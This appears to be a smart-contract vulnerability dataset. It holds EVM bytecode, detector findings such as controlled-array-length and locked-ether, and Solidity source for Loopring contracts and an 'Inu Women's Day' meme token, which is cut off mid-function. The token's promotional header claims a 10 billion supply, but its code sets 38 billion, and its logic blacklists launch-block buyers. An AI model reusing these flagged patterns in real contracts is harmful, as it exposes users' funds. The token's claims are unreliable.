0x6080604052600436106100fb576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff168062f49203146101065780630a09284a146101315780631aae34601461015c57806334fcf437146101b35780633f52c660146101e05780634042b66f1461020b57806341c0e1b5146102365780634bb278f31461024d5780634c97797214610264578063518ab2a81461028f5780636e50eb3f146102ba5780638da5cb5b146102e7578063af4686821461033e578063b3f05b9714610369578063bf5fc2ee14610398578063c6f7b7eb146103c5578063d7e64c0014610432578063fc0c546a1461045d575b610104336104b4565b005b34801561011257600080fd5b5061011b6108b8565b6040518082815260200191505060405180910390f35b34801561013d57600080fd5b506101466108be565b6040518082815260200191505060405180910390f35b34801561016857600080fd5b5061019d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108c4565b6040518082815260200191505060405180910390f35b3480156101bf57600080fd5b506101de600480360381019080803590602001909291905050506108dc565b005b3480156101ec57600080fd5b506101f56109ad565b6040518082815260200191505060405180910390f35b34801561021757600080fd5b506102206109b3565b6040518082815260200191505060405180910390f35b34801561024257600080fd5b5061024b6109b9565b005b34801561025957600080fd5b50610262610a4e565b005b34801561027057600080fd5b50610279610cc1565b6040518082815260200191505060405180910390f35b34801561029b57600080fd5b506102a4610cc7565b6040518082815260200191505060405180910390f35b3480156102c657600080fd5b506102e560048036038101908080359060200190929190505050610ccd565b005b3480156102f357600080fd5b506102fc610d87565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561034a57600080fd5b50610353610dac565b6040518082815260200191505060405180910390f35b34801561037557600080fd5b5061037e610db2565b604051808215151515815260200191505060405180910390f35b3480156103a457600080fd5b506103c360048036038101908080359060200190929190505050610dc5565b005b3480156103d157600080fd5b506103f060048036038101908080359060200190929190505050610e7f565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561043e57600080fd5b50610447610ebd565b6040518082815260200191505060405180910390f35b34801561046957600080fd5b50610472610ec3565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6000600560009054906101000a900460ff161515156104d257600080fd5b42600254111580156104e5575042600354115b15156104f057600080fd5b600a546006541115151561050357600080fd5b662386f26fc10000341015151561051957600080fd5b6000600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414156105dd576008600081548092919060010191905055506001600c8390806001815401808255809150509060018203906000526020600020016000909192909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050505b6004543402905034600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254019250508190555080600660008282540192505081905550346007600082825401925050819055507f9e9d071824fd57d062ca63fd8b786d8da48a6807eebbcb2d83f9e8d21398e28c823483604051808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828152602001935050505060405180910390a167016345785d8a000034101580156106e35750678ac7230489e8000034105b156106fb576064607882028115156106f757fe5b0490505b678ac7230489e80000341015801561071b57506801a055690d9db8000034105b156107335760646082820281151561072f57fe5b0490505b6801a055690d9db8000034101515610758576064608c820281151561075457fe5b0490505b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb83836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050600060405180830381600087803b15801561081d57600080fd5b505af1158015610831573d6000803e3d6000fd5b505050506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc3073ffffffffffffffffffffffffffffffffffffffff16319081150290604051600060405180830381858888f193505050501580156108b3573d6000803e3d6000fd5b505050565b600a5481565b60035481565b600b6020528060005260406000206000915090505481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561093757600080fd5b600560009054906101000a900460ff1615151561095357600080fd5b60008111151561096257600080fd5b7f4ac9052a820bf4f8c02d7588587cae835573b5b99ea7ad4ca002f17f319f718660045482604051808381526020018281526020019250505060405180910390a18060048190555050565b60045481565b60075481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610a1457600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16ff5b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610aab57600080fd5b6001600560006101000a81548160ff021916908315150217905550600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b158015610b8357600080fd5b505af1158015610b97573d6000803e3d6000fd5b505050506040513d6020811015610bad57600080fd5b81019080805190602001909291905050509050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050600060405180830381600087803b158015610ca657600080fd5b505af1158015610cba573d6000803e3d6000fd5b5050505050565b60095481565b60065481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610d2857600080fd5b600560009054906101000a900460ff16151515610d4457600080fd5b806003819055507fd34bb772c4ae9baa99db852f622773b31c7827e8ee818449fef20d30980bd3106003546040518082815260200191505060405180910390a150565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60025481565b600560009054906101000a900460ff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610e2057600080fd5b600560009054906101000a900460ff16151515610e3c57600080fd5b806002819055507fa3f2a813a039e5195c620dabcd490267a9aa5a50e4e1383bc474e9b800f7defe6002546040518082815260200191505060405180910390a150565b600c81815481101515610e8e57fe5b906000526020600020016000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60085481565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16815600a165627a7a72305820e64570a2218a2517d6f8c699b9d7fc66ffb5ef851eee944b10e872c593e286ff0029
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "erc20-interface", "impact": "Medium", "confidence": "High"}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
2,731
0x7b126ab811f278f288bf1d62d47334351da20d1d
/* Copyright 2017 Loopring Project Ltd (Loopring Foundation). Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ pragma solidity 0.4.19; /// @title Utility Functions for uint /// @author Daniel Wang - <<a href="/cdn-cgi/l/email-protection" class="__cf_email__" data-cfemail="a8ccc9c6c1cdc4e8c4c7c7d8dac1c6cf86c7dacf">[email&#160;protected]</a>> library MathUint { function mul(uint a, uint b) internal pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function sub(uint a, uint b) internal pure returns (uint) { require(b <= a); return a - b; } function add(uint a, uint b) internal pure returns (uint c) { c = a + b; require(c >= a); } function tolerantSub(uint a, uint b) internal pure returns (uint c) { return (a >= b) ? a - b : 0; } /// @dev calculate the square of Coefficient of Variation (CV) /// https://en.wikipedia.org/wiki/Coefficient_of_variation function cvsquare( uint[] arr, uint scale ) internal pure returns (uint) { uint len = arr.length; require(len > 1); require(scale > 0); uint avg = 0; for (uint i = 0; i < len; i++) { avg += arr[i]; } avg = avg / len; if (avg == 0) { return 0; } uint cvs = 0; uint s; uint item; for (i = 0; i < len; i++) { item = arr[i]; s = item > avg ? item - avg : avg - item; cvs += mul(s, s); } return ((mul(mul(cvs, scale), scale) / avg) / avg) / (len - 1); } } /* Copyright 2017 Loopring Project Ltd (Loopring Foundation). Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ /* Copyright 2017 Loopring Project Ltd (Loopring Foundation). Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ /// @title ERC20 Token Interface /// @dev see https://github.com/ethereum/EIPs/issues/20 /// @author Daniel Wang - <<a href="/cdn-cgi/l/email-protection" class="__cf_email__" data-cfemail="5531343b3c303915393a3a25273c3b327b3a2732">[email&#160;protected]</a>> contract ERC20 { uint public totalSupply; event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); function balanceOf(address who) view public returns (uint256); function allowance(address owner, address spender) view public returns (uint256); function transfer(address to, uint256 value) public returns (bool); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); } /* Copyright 2017 Loopring Project Ltd (Loopring Foundation). Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ /* Copyright 2017 Loopring Project Ltd (Loopring Foundation). Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ /// @title Ownable /// @dev The Ownable contract has an owner address, and provides basic /// authorization control functions, this simplifies the implementation of /// "user permissions". contract Ownable { address public owner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /// @dev The Ownable constructor sets the original `owner` of the contract /// to the sender. function Ownable() public { owner = msg.sender; } /// @dev Throws if called by any account other than the owner. modifier onlyOwner() { require(msg.sender == owner); _; } /// @dev Allows the current owner to transfer control of the contract to a /// newOwner. /// @param newOwner The address to transfer ownership to. function transferOwnership(address newOwner) onlyOwner public { require(newOwner != 0x0); OwnershipTransferred(owner, newOwner); owner = newOwner; } } /// @title Claimable /// @dev Extension for the Ownable contract, where the ownership needs /// to be claimed. This allows the new owner to accept the transfer. contract Claimable is Ownable { address public pendingOwner; /// @dev Modifier throws if called by any account other than the pendingOwner. modifier onlyPendingOwner() { require(msg.sender == pendingOwner); _; } /// @dev Allows the current owner to set the pendingOwner address. /// @param newOwner The address to transfer ownership to. function transferOwnership(address newOwner) onlyOwner public { require(newOwner != 0x0 && newOwner != owner); pendingOwner = newOwner; } /// @dev Allows the pendingOwner address to finalize the transfer. function claimOwnership() onlyPendingOwner public { OwnershipTransferred(owner, pendingOwner); owner = pendingOwner; pendingOwner = 0x0; } } /// @title TokenTransferDelegate /// @dev Acts as a middle man to transfer ERC20 tokens on behalf of different /// versions of Loopring protocol to avoid ERC20 re-authorization. /// @author Daniel Wang - <<a href="/cdn-cgi/l/email-protection" class="__cf_email__" data-cfemail="d2b6b3bcbbb7be92bebdbda2a0bbbcb5fcbda0b5">[email&#160;protected]</a>>. contract TokenTransferDelegate is Claimable { using MathUint for uint; //////////////////////////////////////////////////////////////////////////// /// Variables /// //////////////////////////////////////////////////////////////////////////// mapping(address => AddressInfo) private addressInfos; address public latestAddress; //////////////////////////////////////////////////////////////////////////// /// Structs /// //////////////////////////////////////////////////////////////////////////// struct AddressInfo { address previous; uint32 index; bool authorized; } //////////////////////////////////////////////////////////////////////////// /// Modifiers /// //////////////////////////////////////////////////////////////////////////// modifier onlyAuthorized() { require(addressInfos[msg.sender].authorized); _; } //////////////////////////////////////////////////////////////////////////// /// Events /// //////////////////////////////////////////////////////////////////////////// event AddressAuthorized(address indexed addr, uint32 number); event AddressDeauthorized(address indexed addr, uint32 number); //////////////////////////////////////////////////////////////////////////// /// Public Functions /// //////////////////////////////////////////////////////////////////////////// /// @dev Disable default function. function () payable public { revert(); } /// @dev Add a Loopring protocol address. /// @param addr A loopring protocol address. function authorizeAddress(address addr) onlyOwner external { AddressInfo storage addrInfo = addressInfos[addr]; if (addrInfo.index != 0) { // existing if (addrInfo.authorized == false) { // re-authorize addrInfo.authorized = true; AddressAuthorized(addr, addrInfo.index); } } else { address prev = latestAddress; if (prev == 0x0) { addrInfo.index = 1; addrInfo.authorized = true; } else { addrInfo.previous = prev; addrInfo.index = addressInfos[prev].index + 1; } addrInfo.authorized = true; latestAddress = addr; AddressAuthorized(addr, addrInfo.index); } } /// @dev Remove a Loopring protocol address. /// @param addr A loopring protocol address. function deauthorizeAddress(address addr) onlyOwner external { uint32 index = addressInfos[addr].index; if (index != 0) { addressInfos[addr].authorized = false; AddressDeauthorized(addr, index); } } function getLatestAuthorizedAddresses(uint max) external view returns (address[] addresses) { addresses = new address[](max); address addr = latestAddress; AddressInfo memory addrInfo; uint count = 0; while (addr != 0x0 && count < max) { addrInfo = addressInfos[addr]; if (addrInfo.index == 0) { break; } addresses[count++] = addr; addr = addrInfo.previous; } } /// @dev Invoke ERC20 transferFrom method. /// @param token Address of token to transfer. /// @param from Address to transfer token from. /// @param to Address to transfer token to. /// @param value Amount of token to transfer. function transferToken( address token, address from, address to, uint value) onlyAuthorized external { if (value > 0 && from != to && to != 0x0) { require( ERC20(token).transferFrom(from, to, value) ); } } function batchTransferToken( address lrcTokenAddress, address minerFeeRecipient, uint8 walletSplitPercentage, bytes32[] batch) onlyAuthorized external { uint len = batch.length; require(len % 7 == 0); require(walletSplitPercentage > 0 && walletSplitPercentage < 100); ERC20 lrc = ERC20(lrcTokenAddress); for (uint i = 0; i < len; i += 7) { address owner = address(batch[i]); address prevOwner = address(batch[(i + len - 7) % len]); // Pay token to previous order, or to miner as previous order&#39;s // margin split or/and this order&#39;s margin split. ERC20 token = ERC20(address(batch[i + 1])); // Here batch[i + 2] has been checked not to be 0. if (owner != prevOwner) { require( token.transferFrom( owner, prevOwner, uint(batch[i + 2]) ) ); } // Miner pays LRx fee to order owner uint lrcReward = uint(batch[i + 4]); if (lrcReward != 0 && minerFeeRecipient != owner) { require( lrc.transferFrom( minerFeeRecipient, owner, lrcReward ) ); } // Split margin-split income between miner and wallet splitPayFee( token, uint(batch[i + 3]), owner, minerFeeRecipient, address(batch[i + 6]), walletSplitPercentage ); // Split LRx fee income between miner and wallet splitPayFee( lrc, uint(batch[i + 5]), owner, minerFeeRecipient, address(batch[i + 6]), walletSplitPercentage ); } } function isAddressAuthorized(address addr) public view returns (bool) { return addressInfos[addr].authorized; } function splitPayFee( ERC20 token, uint fee, address owner, address minerFeeRecipient, address walletFeeRecipient, uint walletSplitPercentage ) internal { if (fee == 0) { return; } uint walletFee = (walletFeeRecipient == 0x0) ? 0 : fee.mul(walletSplitPercentage) / 100; uint minerFee = fee - walletFee; if (walletFee > 0 && walletFeeRecipient != owner) { require( token.transferFrom( owner, walletFeeRecipient, walletFee ) ); } if (minerFee > 0 && minerFeeRecipient != 0x0 && minerFeeRecipient != owner) { require( token.transferFrom( owner, minerFeeRecipient, minerFee ) ); } } }
0x6060604052600436106100955763ffffffff60e060020a6000350416630d0567ae811461009a5780632097dd04146100c95780632c54de4f146101325780633a373db7146101625780634a5db3b51461019c5780634e71e0c8146101bb5780638da5cb5b146101ce578063ced3fb9c146101e1578063e30c397814610214578063f2fde38b14610227578063f73857cc14610246575b600080fd5b34156100a557600080fd5b6100ad610265565b604051600160a060020a03909116815260200160405180910390f35b34156100d457600080fd5b6100df600435610274565b60405160208082528190810183818151815260200191508051906020019060200280838360005b8381101561011e578082015183820152602001610106565b505050509050019250505060405180910390f35b341561013d57600080fd5b610160600160a060020a0360043581169060243581169060443516606435610385565b005b341561016d57600080fd5b610160600160a060020a0360048035821691602480359091169160ff6044351691606435908101910135610484565b34156101a757600080fd5b610160600160a060020a0360043516610758565b34156101c657600080fd5b610160610975565b34156101d957600080fd5b6100ad610a03565b34156101ec57600080fd5b610200600160a060020a0360043516610a12565b604051901515815260200160405180910390f35b341561021f57600080fd5b6100ad610a37565b341561023257600080fd5b610160600160a060020a0360043516610a46565b341561025157600080fd5b610160600160a060020a0360043516610ac1565b600354600160a060020a031681565b61027c610d70565b6000610286610d82565b6000846040518059106102965750595b9080825280602002602001820160405250600354909450600160a060020a03169250600090505b600160a060020a038316158015906102d457508481105b1561037d57600160a060020a03831660009081526002602052604090819020906060905190810160409081529154600160a060020a038116825260a060020a810463ffffffff166020830190815260c060020a90910460ff1615159282019290925292505163ffffffff16151561034a5761037d565b8284828060010193508151811061035d57fe5b600160a060020a03909216602092830290910190910152815192506102bd565b505050919050565b33600160a060020a031660009081526002602052604090205460c060020a900460ff1615156103b357600080fd5b6000811180156103d5575081600160a060020a031683600160a060020a031614155b80156103e95750600160a060020a03821615155b1561047e5783600160a060020a03166323b872dd84848460006040516020015260405160e060020a63ffffffff8616028152600160a060020a0393841660048201529190921660248201526044810191909152606401602060405180830381600087803b151561045857600080fd5b6102c65a03f1151561046957600080fd5b50505060405180519050151561047e57600080fd5b50505050565b33600160a060020a031660009081526002602052604081205481908190819081908190819060c060020a900460ff1615156104be57600080fd5b87965060078706156104cf57600080fd5b60008a60ff161180156104e5575060648a60ff16105b15156104f057600080fd5b8b9550600094505b8685101561074a5788888681811061050c57fe5b6020029190910135945089905088886006198882010181151561052b57fe5b0681811061053557fe5b60200291909101359350899050886001870181811061055057fe5b6020029190910135925050600160a060020a038481169084161461061657600160a060020a0382166323b872dd85858c8c60028b0181811061058e57fe5b6020029190910135905060006040516020015260405160e060020a63ffffffff8616028152600160a060020a0393841660048201529190921660248201526044810191909152606401602060405180830381600087803b15156105f057600080fd5b6102c65a03f1151561060157600080fd5b50505060405180519050151561061657600080fd5b88886004870181811061062557fe5b60200291909101359150508015801590610651575083600160a060020a03168b600160a060020a031614155b156106e65785600160a060020a03166323b872dd8c868460006040516020015260405160e060020a63ffffffff8616028152600160a060020a0393841660048201529190921660248201526044810191909152606401602060405180830381600087803b15156106c057600080fd5b6102c65a03f115156106d157600080fd5b5050506040518051905015156106e657600080fd5b61072c828a8a600389018181106106f957fe5b60200291909101359050868e8d8d60068c0181811061071457fe5b9050602002013560001916600190048f60ff16610b71565b61073f868a8a600589018181106106f957fe5b6007850194506104f8565b505050505050505050505050565b60008054819033600160a060020a0390811691161461077657600080fd5b600160a060020a0383166000908152600260205260409020805490925060a060020a900463ffffffff161561082557815460c060020a900460ff16151561082057815460c060020a60ff02191660c060020a17808355600160a060020a038416907f3b61204456cbbcb12a2d6b3006f6a24187ac7d5eeef361a93bad25888eebbb309063ffffffff60a060020a9091041660405163ffffffff909116815260200160405180910390a25b610970565b50600354600160a060020a031680151561087557815460c060020a60ff021977ffffffff00000000000000000000000000000000000000001990911660a060020a171660c060020a1782556108e5565b8154600160a060020a03821673ffffffffffffffffffffffffffffffffffffffff1990911681178084556000918252600260205260409091205463ffffffff60a060020a918290048116600101160277ffffffff0000000000000000000000000000000000000000199091161782555b815460c060020a60ff02191660c060020a17825560038054600160a060020a03851673ffffffffffffffffffffffffffffffffffffffff19909116811790915582547f3b61204456cbbcb12a2d6b3006f6a24187ac7d5eeef361a93bad25888eebbb309063ffffffff60a060020a9091041660405163ffffffff909116815260200160405180910390a25b505050565b60015433600160a060020a0390811691161461099057600080fd5b600154600054600160a060020a0391821691167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3600180546000805473ffffffffffffffffffffffffffffffffffffffff19908116600160a060020a03841617909155169055565b600054600160a060020a031681565b600160a060020a031660009081526002602052604090205460c060020a900460ff1690565b600154600160a060020a031681565b60005433600160a060020a03908116911614610a6157600080fd5b600160a060020a03811615801590610a875750600054600160a060020a03828116911614155b1515610a9257600080fd5b6001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b6000805433600160a060020a03908116911614610add57600080fd5b50600160a060020a03811660009081526002602052604090205460a060020a900463ffffffff168015610b6d57600160a060020a03821660008181526002602052604090819020805460c060020a60ff02191690557fa407c1ccf2240ac410f40f8008c27443bf0d10c03f6fb4565e5796d3bf86a5be9083905163ffffffff909116815260200160405180910390a25b5050565b600080861515610b8057610d3b565b600160a060020a03841615610bb0576064610ba1888563ffffffff610d4516565b811515610baa57fe5b04610bb3565b60005b915050808603600082118015610bdb575085600160a060020a031684600160a060020a031614155b15610c705787600160a060020a03166323b872dd87868560006040516020015260405160e060020a63ffffffff8616028152600160a060020a0393841660048201529190921660248201526044810191909152606401602060405180830381600087803b1515610c4a57600080fd5b6102c65a03f11515610c5b57600080fd5b505050604051805190501515610c7057600080fd5b600081118015610c885750600160a060020a03851615155b8015610ca6575085600160a060020a031685600160a060020a031614155b15610d3b5787600160a060020a03166323b872dd87878460006040516020015260405160e060020a63ffffffff8616028152600160a060020a0393841660048201529190921660248201526044810191909152606401602060405180830381600087803b1515610d1557600080fd5b6102c65a03f11515610d2657600080fd5b505050604051805190501515610d3b57600080fd5b5050505050505050565b818102821580610d5f5750818382811515610d5c57fe5b04145b1515610d6a57600080fd5b92915050565b60206040519081016040526000815290565b6060604051908101604090815260008083526020830181905290820152905600a165627a7a72305820a1b7d385efdaf4e54d3427a5908e08b4387acb3d1f3199465deb7cc128bf2ef90029
{"success": true, "error": null, "results": {"detectors": [{"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
2,732
0xd076cC3ba0d84f9a0F83E0a736Cd81C28040d7d9
/* Inu Women’s Day (IWD) Happy International Women's Day 2021! Inu Women’s day celebrates gender equality today and recognises the social, economic, cultural and political achievements of women. This token honours women's achievements and raises awareness about women's equality at the same time. Despite accounting for half the world’s population, women made up more than two-thirds of the world’s illiterate people, an estimated 60 percent of chronically hungry and held just 28 percent of managerial positions globally in 2019 (almost the same as in 1995). Historically, women have been valued as less than their male counterparts. Allow us to quote the respectable Malala Yousafzai “If we want to live in a more equal future, leaders must prioritise quality education. Educating young women can also help to prevent wars, mitigate the effects of climate change and make economics grow” The purpose of this token not only celebrates the progress of women’s rights in this hundred years but also reminds mankind that our war against inequality isn’t over and still far from success. Tokenomics: Max supply: 10 Billion Initial LP: 3 / 4 Max buy: 2% Tax: 12% 4% LP 3% Reflection 3% Marketing and Dev 2% Donation for women’s education Telegram: https://t.me/inuwomensday */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.10; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { _transferOwnership(_msgSender()); } function owner() public view virtual returns (address) { return _owner; } modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner() { _transferOwnership(address(0)); } function transferOwnership(address newOwner) public virtual onlyOwner() { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); } contract InuDay is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isBot; uint256 private constant _MAX = ~uint256(0); uint256 private constant _tTotal = 38e9 * 10**9; uint256 private _rTotal = (_MAX - (_MAX % _tTotal)); uint256 private _tFeeTotal; string private constant _name = "Inu Women's Day"; string private constant _symbol = "IWD"; uint private constant _decimals = 9; uint256 private _teamFee = 12; uint256 private _previousteamFee = _teamFee; address payable private _feeAddress; // Uniswap Pair IUniswapV2Router02 private _uniswapV2Router; address private _uniswapV2Pair; bool private _initialized = false; bool private _noTaxMode = false; bool private _inSwap = false; bool private _tradingOpen = false; uint256 private _launchTime; uint256 private _initialLimitDuration; modifier lockTheSwap() { _inSwap = true; _; _inSwap = false; } modifier handleFees(bool takeFee) { if (!takeFee) _removeAllFees(); _; if (!takeFee) _restoreAllFees(); } constructor () { _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[payable(0x000000000000000000000000000000000000dEaD)] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function _tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _removeAllFees() private { require(_teamFee > 0); _previousteamFee = _teamFee; _teamFee = 0; } function _restoreAllFees() private { _teamFee = _previousteamFee; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(!_isBot[to]); require(!_isBot[from], "Your address has been marked as a bot, please contact staff to appeal your case."); bool takeFee = false; if ( !_isExcludedFromFee[from] && !_isExcludedFromFee[to] && !_noTaxMode && (from == _uniswapV2Pair || to == _uniswapV2Pair) ) { require(_tradingOpen, 'Trading has not yet been opened.'); takeFee = true; if (from == _uniswapV2Pair && to != address(_uniswapV2Router) && _initialLimitDuration > block.timestamp) { uint walletBalance = balanceOf(address(to)); require(amount.add(walletBalance) <= _tTotal.mul(2).div(100)); } if (block.timestamp == _launchTime) _isBot[to] = true; uint256 contractTokenBalance = balanceOf(address(this)); if (!_inSwap && from != _uniswapV2Pair) { if (contractTokenBalance > 0) { if (contractTokenBalance > balanceOf(_uniswapV2Pair).mul(12).div(100)) contractTokenBalance = balanceOf(_uniswapV2Pair).mul(12).div(100); _swapTokensForEth(contractTokenBalance); } } } _tokenTransfer(from, to, amount, takeFee); 